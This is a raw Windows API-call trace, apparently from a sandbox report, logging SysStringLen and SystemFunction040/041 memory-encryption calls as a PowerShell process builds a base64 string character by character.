(param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔Ŏ喟ﰘ\﫜\ꯙ榓흊켻涽侀Ꝃ꧘硴担虸≁) returned 0x30 [0196.320] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0196.320] SysStringLen (param_1="A81M6SSdQMMbo7/ayB0fnJBnhdTo3gH/oX+g6cpdV+4=初◔㤚") returned 0x30 [0196.320] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0196.320] EtwEventActivityIdControl () returned 0x0 [0196.320] EtwEventActivityIdControl () returned 0x0 [0196.320] EtwEventActivityIdControl () returned 0x0 [0196.321] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.321] EtwEventActivityIdControl () returned 0x0 [0196.322] EtwEventActivityIdControl () returned 0x0 [0196.324] EtwEventActivityIdControl () returned 0x0 [0196.324] SysStringLen (param_1="") returned 0x8 [0196.325] SysStringLen (param_1="N") returned 0x8 [0196.325] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.325] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0196.325] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0196.325] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.325] SysStringLen (param_1="ND") returned 0x8 [0196.325] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.325] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0196.325] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0196.325] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.325] SysStringLen (param_1="NDZ") returned 0x8 [0196.325] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.325] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0196.325] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0196.326] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.326] SysStringLen (param_1="NDZl") returned 0x8 [0196.326] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.326] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0196.326] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0196.326] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.326] SysStringLen (param_1="NDZlO") returned 0x8 [0196.326] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.326] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0196.326] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0196.326] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.326] SysStringLen (param_1="NDZlOD") returned 0x8 [0196.326] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.327] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0196.327] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0196.327] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.327] SysStringLen (param_1="NDZlODR") returned 0x8 [0196.327] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.327] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0196.327] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0196.327] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.327] SysStringLen (param_1="NDZlODRm") returned 0x8 [0196.327] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.327] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0196.327] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0196.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0196.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0196.328] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.328] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0196.328] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0196.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0196.328] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.328] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0196.328] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0196.328] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0196.328] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.329] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0196.329] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0196.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0196.329] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.329] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0196.329] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0196.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0196.329] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.329] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0196.329] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.329] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0196.330] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0196.330] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.330] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0196.330] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.330] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0196.330] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0196.330] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.330] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0196.330] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.330] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0196.330] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0196.330] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.330] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0196.330] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.331] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0196.331] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0196.331] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0196.331] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0196.331] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.331] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0196.331] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.331] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0196.331] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0196.331] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.332] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0196.332] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.332] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0196.332] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0196.332] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.332] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0196.332] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.332] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0196.332] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0196.332] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.332] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0196.332] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.332] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0196.332] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0196.332] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.333] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0196.333] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.333] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0196.333] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0196.333] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.333] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0196.333] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.333] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0196.333] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0196.333] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.333] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0196.333] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.334] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0196.334] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0196.334] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.334] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0196.334] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.334] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0196.334] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0196.334] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0196.334] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0196.334] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.334] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0196.335] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.335] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0196.335] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0196.335] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.335] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0196.335] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.335] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0196.335] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0196.335] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.335] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0196.335] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.335] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0196.335] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0196.335] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.336] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0196.336] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.336] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0196.336] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0196.336] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.336] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0196.336] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.336] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0196.336] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0196.336] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.336] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0196.336] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.336] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0196.336] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0196.337] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.337] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0196.337] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.337] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0196.337] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0196.337] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.337] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0196.337] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.512] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0196.512] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0196.512] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0196.512] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0196.512] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.513] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0196.513] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.513] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0196.513] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0196.513] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.513] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0196.513] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.513] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0196.513] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0196.513] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.513] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0196.513] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.513] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0196.514] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0196.514] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.514] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0196.514] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.514] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0196.514] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0196.514] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.514] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0196.514] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.514] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0196.514] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0196.514] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.514] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0196.514] SystemFunction040 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.515] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0196.515] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0196.515] SystemFunction041 (in: Memory=0x5c91804, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91804) returned 0x0 [0196.515] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0196.515] SystemFunction040 